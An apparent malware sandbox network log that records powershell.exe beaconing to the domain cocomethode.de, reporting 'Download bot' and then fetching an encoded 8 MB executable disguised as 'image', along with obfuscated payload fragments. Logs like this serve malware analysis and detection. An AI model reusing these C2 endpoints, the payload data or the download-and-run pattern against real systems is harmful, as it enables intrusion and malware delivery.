cfL4;desc="?proto=TCP&rtt=113835&min_rtt=113753&rtt_var=24131&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1003&delivery_rate=33584&cwnd=231&unsent_bytes=0&cid=7f0af3bfb524465e&ts=584&x=0"
2024-12-11 11:44:15 UTC	54	IN	Data Raw: 25 64 6e 65 74 67 71 63 75 71 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 Data Ascii: %dnetgqcuq<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRx
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 58 33 31 34 60 6d 71 58 55 6f 71 60 57 30 47 6f 56 57 62 30 60 31 6d 48 55 6c 69 6a 63 57 5b 73 52 54 65 46 64 6a 6d 45 54 6d 43 6a 56 47 4b 32 5b 47 69 52 53 33 47 59 64 46 79 57 53 31 58 76 58 54 4f 4b 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 4f 75 57 6b 43 6a 56 44 71 30 52 54 4f 52 4c 46 4f 74 57 6c 79 44 54 56 38 6f 52 54 4f 43 5b 33 5b 55 50 6c 71 5b 56 47 4b 70 58 54 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 46 55 6a 5b 55 57 56 69 48 57 6b 40 30 55 6d 4b 46 53 56 65 4a 53 6b 69 30 54 6d 69 6e 60 6d 71 58 50 6b 43 69 57 7b 6d 30 55 46 72 79 63 46 4c 7b 55 6c 69 60 4c 6d 54 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 Data Ascii: rudl/Bnowdsu\;;GsnlC`rd75Rushof)#X314`mqXUoq`W0GoVWb0`1mHUlijcW[sRTeFdjmETmCjVGK2[GiRS3GYdFyWS1XvXTOKUjOqPVeKP1GoRTOC[3OuWkCjVDq0RTORLFOtWlyDTV8oRTOC[3[UPlq[VGKpXTOBO1SSc3eKP1GoRTOC[1mFUj[UWViHWk@0UmKFSVeJSki0Tmin`mqXPkCiW{m0UFrycFL{Uli`LmT2SGGw[1mEPVeKP1
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 63 45 43 60 57 7b 43 6f 55 47 5b 42 60 46 53 49 5b 33 65 4a 53 30 4b 72 58 7b 4f 52 62 46 4b 75 53 6b 43 69 57 7b 6d 30 55 32 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 66 76 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 60 6d 6d 58 54 6c 71 69 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 54 76 57 6a 71 55 53 56 53 58 57 46 72 79 53 57 57 55 50 56 6d 52 63 56 79 7b 56 6d 4f 42 60 46 4b 48 52 6c 79 5b 57 30 48 30 52 54 65 56 4f 46 47 58 55 6b 43 6b 64 54 4b 6e 5b 44 4f 43 60 30 71 49 57 6f 71 6a 53 33 79 30 56 57 69 52 62 46 48 78 4f 49 57 4b 53 57 4b 33 5b 45 48 30 62 33 48 Data Ascii: cEC`W{CoUG[B`FSI[3eJS0KrX{ORbFKuSkCiW{m0U2bvR1mEPVeKP1GoRTOC[1mEPVeKP1GoRTfvUjOqPVeKP1GoRTOC[1mEPVeKP1GoRTOB`mmXTlqiRIONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1GoRTOC[0TvWjqUSVSXWFrySWWUPVmRcVy{VmOB`FKHRly[W0H0RTeVOFGXUkCkdTKn[DOC`0qIWoqjS3y0VWiRbFHxOIWKSWK3[EH0b3H
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 6d 4f 42 63 46 4b 48 55 6c 79 4b 52 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 4b 54 54 6d 57 72 52 57 48 79 5b 44 38 54 57 57 4b 52 52 54 4f 4a 53 56 48 7b 5b 49 57 68 53 7b 6d 6e 56 6a 4f 42 63 57 6d 59 63 49 4f 60 57 30 44 33 52 54 4f 52 4c 56 4f 75 65 33 6d 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 4e 54 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 48 4c 44 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 5b 4c 6a 58 76 56 55 4b 6f 5b 30 62 79 55 6b 57 6b 4c 30 4b 72 58 6d 4c 30 55 30 71 58 54 59 57 56 4c 6d 5b 71 54 6d 69 6e 60 6d 71 58 50 6b 43 69 57 7b 6d 30 56 47 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f Data Ascii: TOC[1mEPVeKP1Go[mOBcFKHUlyKRIONP3mC[1mEPVeKP1GoRTOC[1mEPVeKP1KTTmWrRWHy[D8TWWKRRTOJSVH{[IWhS{mnVjOBcWmYcIO`W0D3RTORLVOue3mDTV8oRTOC[1mEPVeKP1GoRTOBNTSSc3eKP1GoRTOC[1mHLD4E`TGoRTOC[1mEPVe[LjXvVUKo[0byUkWkL0KrXmL0U0qXTYWVLm[qTmin`mqXPkCiW{m0VGOBO1SSc3eKP1Go
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 5b 6a 4c 6b 57 7b 58 6b 4b 46 60 30 54 7b 57 6c 71 5b 4c 6d 5b 72 56 6a 65 56 60 31 75 55 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6a 34 46 54 30 57 6e 52 47 58 76 4f 54 34 52 53 6a 57 6f 52 56 75 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 52 54 65 60 60 46 47 59 64 46 79 60 50 31 4b 6e 56 6c 34 52 63 46 4f 71 50 56 75 68 57 31 58 31 57 56 30 56 4c 46 4f 75 63 46 79 6b 64 54 4b 34 56 6d 69 52 64 56 47 59 57 6f 71 4c 60 54 6d 4e 50 33 6d 43 5b 31 6d 45 50 6b 6d 44 54 59 40 34 53 47 47 76 57 47 4b 57 63 44 6d 52 4c 56 53 51 57 47 57 52 54 6a 6d 45 52 6d 53 68 53 30 5b 72 58 31 4f 43 64 44 30 48 55 56 6d 51 65 7b 43 4d 57 55 4f 52 60 46 4f 74 54 59 53 57 4c 6f 69 72 56 6d 69 43 5b 31 79 56 55 6c 79 5b 4c 6b 6d 30 56 6a 69 4f 5b 31 30 54 50 Data Ascii: [jLkW{XkKF`0T{Wlq[Lm[rVjeV`1uUPkeDTV8oRTOC[1mEPVeKSj4FT0WnRGXvOT4RSjWoRVuRelPxOYOhLj[sRTe``FGYdFy`P1KnVl4RcFOqPVuhW1X1WV0VLFOucFykdTK4VmiRdVGYWoqL`TmNP3mC[1mEPkmDTY@4SGGvWGKWcDmRLVSQWGWRTjmERmShS0[rX1OCdD0HUVmQe{CMWUOR`FOtTYSWLoirVmiC[1yVUly[Lkm0VjiO[10TP
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 56 4c 44 6d 45 4c 54 4b 68 53 32 69 33 5b 45 47 4e 4c 47 6d 58 52 6b 43 55 57 30 71 50 58 6c 75 4a 60 46 53 48 54 6c 79 6b 63 56 79 72 58 32 6d 43 65 47 4b 49 4e 59 57 6a 53 6a 35 76 58 6b 4f 42 52 6d 71 73 5b 49 5b 69 57 7b 57 74 57 45 48 30 50 30 6d 58 54 6b 43 60 56 44 71 76 56 6d 69 4f 4f 31 53 53 62 47 5b 68 63 6a 71 72 56 6b 4b 72 64 6c 53 49 57 6f 6d 4c 57 6a 34 70 58 54 65 56 60 33 53 59 64 46 79 60 53 6d 4b 6e 58 7b 4b 7b 5b 31 79 56 54 6c 69 6b 4c 6f 53 51 56 57 62 79 63 44 6d 45 52 6b 5b 57 4c 6d 5b 34 5b 46 30 72 60 6d 71 59 55 6c 69 69 4c 6b 6d 76 55 57 53 43 60 54 6d 45 4c 54 53 68 4c 6b 57 75 58 57 69 4a 65 44 38 71 54 6c 30 5b 57 32 69 37 56 6d 53 7b 55 6a 4f 72 52 6c 79 60 4c 6c 79 37 5b 44 65 56 64 54 79 56 55 6c 71 69 53 30 5b 73 5b 47 Data Ascii: VLDmELTKhS2i3[EGNLGmXRkCUW0qPXluJ`FSHTlykcVyrX2mCeGKINYWjSj5vXkOBRmqs[I[iW{WtWEH0P0mXTkC`VDqvVmiOO1SSbG[hcjqrVkKrdlSIWomLWj4pXTeV`3SYdFy`SmKnX{K{[1yVTlikLoSQVWbycDmERk[WLm[4[F0r`mqYUliiLkmvUWSC`TmELTShLkWuXWiJeD8qTl0[W2i7VmS{UjOrRly`Lly7[DeVdTyVUlqiS0[s[G
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 4f 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 65 72 63 54 75 45 54 6c 34 68 53 7b 6d 71 56 57 65 32 4f 6d 44 76 53 6a 5b 52 53 55 47 4c 57 6c 79 4a 54 30 4b 45 4f 59 4f 60 57 7b 57 74 5b 44 65 6f 5b 31 79 59 5b 45 43 4b 53 44 47 76 53 47 47 77 5b 31 6d 45 50 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 6b 4b 35 65 6d 6d 75 53 6f 4f 51 60 31 34 42 54 6d 57 52 55 6d 4c 79 56 6d 4f 57 60 30 47 6f 52 32 6e 76 5b 31 6d 71 4c 49 53 4c 54 7b 43 31 55 47 4c 76 65 44 79 55 4c 46 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 48 76 58 33 34 73 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 6a 65 4a 65 6d 71 48 60 33 65 50 54 31 47 73 56 6b Data Ascii: O`T82LDuKP1GoRTercTuETl4hS{mqVWe2OmDvSj[RSUGLWlyJT0KEOYO`W{Wt[Deo[1yY[ECKSDGvSGGw[1mEPVeme{CMRTOC[1mEPVeKP1GsVkK5emmuSoOQ`14BTmWRUmLyVmOW`0GoR2nv[1mqLISLT{C1UGLveDyULFmQe{CMRTOC[1mEPVeKP1HvX34sUjOqPVeKP1GoRTOC[3W2LDuKP1GoRTOC[1mEPVeKP1GoRjeJemqH`3ePT1GsVk
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 54 59 43 75 5b 47 62 30 60 6c 53 49 63 49 5b 68 60 54 4b 44 58 33 30 56 60 46 53 49 57 59 53 52 57 7b 47 32 5b 44 69 72 57 57 71 59 4c 59 65 56 53 30 58 31 5b 44 57 60 62 46 4b 49 57 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 48 50 6c 69 6b 63 54 5b 31 52 54 4f 6f 55 6a 4f 71 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 30 62 7b 55 6b 43 6b 63 56 79 30 56 6b 44 76 60 30 4b 75 63 49 4f 60 57 55 57 6e 58 6d 65 57 5b 30 43 55 50 56 6d 60 57 7b 47 32 5b 44 69 73 65 56 53 48 60 45 43 4b 60 54 47 6f 52 59 6d 42 53 57 71 59 56 6c 69 6a 57 32 66 76 52 54 65 60 62 46 4b 49 57 56 65 68 63 54 5b 31 56 6d 4f 42 62 47 71 71 50 6f 57 68 4c 30 47 6f 58 7b 4f 42 63 47 6a 78 63 46 30 69 57 30 5b 73 53 47 47 77 5b 31 6d 45 50 56 65 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 Data Ascii: TYCu[Gb0`lSIcI[h`TKDX30V`FSIWYSRW{G2[DirWWqYLYeVS0X1[DW`bFKIWVeme{CMRTOC[1mHPlikcT[1RTOoUjOqPVeKP1GoRTOC[0b{UkCkcVy0VkDv`0KucIO`WUWnXmeW[0CUPVm`W{G2[DiseVSH`ECK`TGoRYmBSWqYVlijW2fvRTe`bFKIWVehcT[1VmOBbGqqPoWhL0GoX{OBcGjxcF0iW0[sSGGw[1mEPVeMTUCMSGGw[1mEPVe
2024-12-11 11:44:15 UTC	1369	IN	Data Raw: 46 4f 70 52 56 6d 4b 50 7b 47 44 58 6a 65 46 64 6c 4f 34 50 56 6d 53 57 7b 54 76 58 57 69 60 62 46 4f 74 57 6f 71 57 52 44 71 33 56 6a 69 56 60 6c 53 45 52 56 65 6c 50 31 4b 58 58 54 65 56 64 57 71 55 4c 57 43 5b 63 59 43 72 56 55 4f 53 5b 33 57 34 50 56 75 58 64 55 57 73 58 57 69 4e 65 33 4b 49 53 6b 57 54 63 54 5b 31 56 6d 4f 43 65 47 71 58 53 56 65 4b 63 46 53 76 58 6c 30 52 65 6c 50 7b 55 56 65 52 53 30 5b 75 56 6d 62 30 60 30 71 58 52 56 6d 4b 52 45 43 4e 50 33 62 76 52 31 6d 34 50 6a 53 69 53 30 5b 70 58 59 6d 42 62 47 71 71 50 6c 69 68 63 6c 75 6f 58 6b 4f 52 63 30 71 58 52 56 65 5b 57 7b 54 76 58 57 69 60 62 46 4f 74 57 6f 71 4b 52 44 34 33 56 6c 34 52 4c 30 6d 58 52 6c 79 4b 53 33 79 37 52 54 65 72 65 56 4c 7b 54 6c 69 68 53 32 69 72 56 6a 44 76 Data Ascii: FOpRVmKP{GDXjeFdlO4PVmSW{TvXWi`bFOtWoqWRDq3VjiV`lSERVelP1KXXTeVdWqULWC[cYCrVUOS[3W4PVuXdUWsXWiNe3KISkWTcT[1VmOCeGqXSVeKcFSvXl0RelP{UVeRS0[uVmb0`0qXRVmKRECNP3bvR1m4PjSiS0[pXYmBbGqqPlihcluoXkORc0qXRVe[W{TvXWi`bFOtWoqKRD43Vl4RL0mXRlyKS3y7RTereVL{TlihS2irVjDv
2024-12-11 11:44:15 UTC	1116	IN	Data Raw: 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 59 4c 31 35 76 58 33 30 72 65 57 6e 79 4c 46 75 54 4c 30 58 76 58 31 69 56 4c 47 4b 75 63 49 4f 60 57 6a 4b 6e 5b 44 65 6f 62 31 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 59 4c 6a 6e 30 5b 44 65 56 5b 44 71 46 60 49 5b 6b 60 32 53 72 5b 57 4f 43 4e 54 6d 44 53 54 34 45 60 54 47 6f 52 54 4f 43 62 44 53 53 63 31 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 48 54 6f 6d 6d 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 4f 5b 30 57 75 57 6c 69 60 50 31 48 76 58 54 65 57 5b 30 71 75 63 49 4f 60 54 31 4b 76 58 6c 34 52 65 6a 6d 49 53 56 65 5b 63 6c 76 76 56 6d 4f 42 60 46 4f 74 52 6c 69 6d 54 55 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 6c 30 72 62 30 71 57 52 6b 57 6a 53 Data Ascii: GoRTOC[1mEPVeYL15vX30reWnyLFuTL0XvX1iVLGKucIO`WjKn[Deob1SSc14E`TGoRTOC[1mEPVeYLjn0[DeV[DqF`I[k`2Sr[WOCNTmDST4E`TGoRTOCbDSSc14E[{CMRTOC[1mHTommT1H2SGGw[1mEPVeKP1GoRTOO[0WuWli`P1HvXTeW[0qucIO`T1KvXl4RejmISVe[clvvVmOB`FOtRlimTUCMRTOC[1mEPVeKP1GsVl0rb0qWRkWjS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49753	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:16 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:44:16 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 41 72 74 68 75 72 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:44:17 UTC	1172	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:17 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BOXaDBrVnetISrS66U4ZarFo7lklvTCVJh%2BVc7pqLBRSsWKfv47FttHfjXztD26ng3PkwRMATV6tHYweUqSLwssAOVEJ9oJos2WWOvVYJoMwV1XeqknAfrQgx3pd8BcehcFGSdKr2F1H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20523&min_rtt=1037&rtt_var=28145&sent=18584&recv=8212&lost=0&retrans=0&sent_bytes=26498659&recv_bytes=139873&delivery_rate=51681415&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0538c7ce3012db-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=47&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=689&delivery_rate=0&cwnd=106&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=680&delivery_rate=0&cwnd=48&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:17 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 33 39 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 36 31 26 72 74 74 5f 76 61 72 3d 32 34 31 33 36 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 38 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 37 34 26 63 77 6e 64 3d 32 34 35 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 65 66 34 39 64 38 66 38 34 32 33 35 62 62 38 31 26 74 73 3d 38 33 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113939&min_rtt=113861&rtt_var=24136&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1085&delivery_rate=33574&cwnd=245&unsent_bytes=0&cid=ef49d8f84235bb81&ts=834&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49756	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:28 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:44:28 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:44:29 UTC	1369	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:29 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2p47uqE72u6q%2FV24qgI1%2FfQQe9L80meJ5KzU6%2FxAB8wYs7mhQ84R%2FQ1QFW7CHcMEb7TNOU3qezpRL%2BUZSJlxu2MasdmYQ21KovUzLzwjaORIva%2BD33hfhJIgWReiQTZEropJZKvB4Wis"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31086&min_rtt=1044&rtt_var=28823&sent=79&recv=73&lost=0&retrans=0&sent_bytes=47193&recv_bytes=29209&delivery_rate=10571198&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0539139fd044cf-ATL server-timing: cfL4;desc="?proto=TCP&rtt=39&min_rtt=39&rtt_var=19&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=669&delivery_rate=0&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=657&delivery_rate=0&cwnd=158&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=53&rtt_var=26&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=643&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:29 UTC	811	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 34 26 6d 69 6e 5f 72 74 74 3d 34 34 26 72 74 74 5f 76 61 72 3d 32 32 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 32 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 32 36 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=629&delivery_rate=0&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49757	172.67.128.139	443	6280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:29 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:44:30 UTC	1301	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:30 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sTTmR%2FHztLdRb3NDXPJ7ckBnJIIQX3bWBFUQdIU8C0iYIXwegiFtKb%2FbVaB9TAEtVNyF%2Baj3SaWyroIRPSoStT8UpOL12vnSMaitf54Pz%2F922JlXNrySzxcoRkXW3HjXgHs3p%2FdWgybT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30583&min_rtt=1044&rtt_var=29165&sent=84&recv=77&lost=0&retrans=0&sent_bytes=49174&recv_bytes=30632&delivery_rate=10571198&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05391b0d3544f3-ATL server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=51&rtt_var=25&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=608&delivery_rate=0&cwnd=144&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=39&rtt_var=18&sent=4&recv=6&lost=0&retrans=0&sent_bytes=982&recv_bytes=1262&delivery_rate=1190600000&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:44:30 UTC	429	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 32 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 31 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 31 31 37 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 34 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 31 36 39 33 33 39 32 38 35 26 63 77 6e 64 3d 31 35 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 32 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=42&min_rtt=41&rtt_var=19&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1179&recv_bytes=1245&delivery_rate=1169339285&cwnd=159&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=1142
2024-12-11 11:44:30 UTC	1008	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 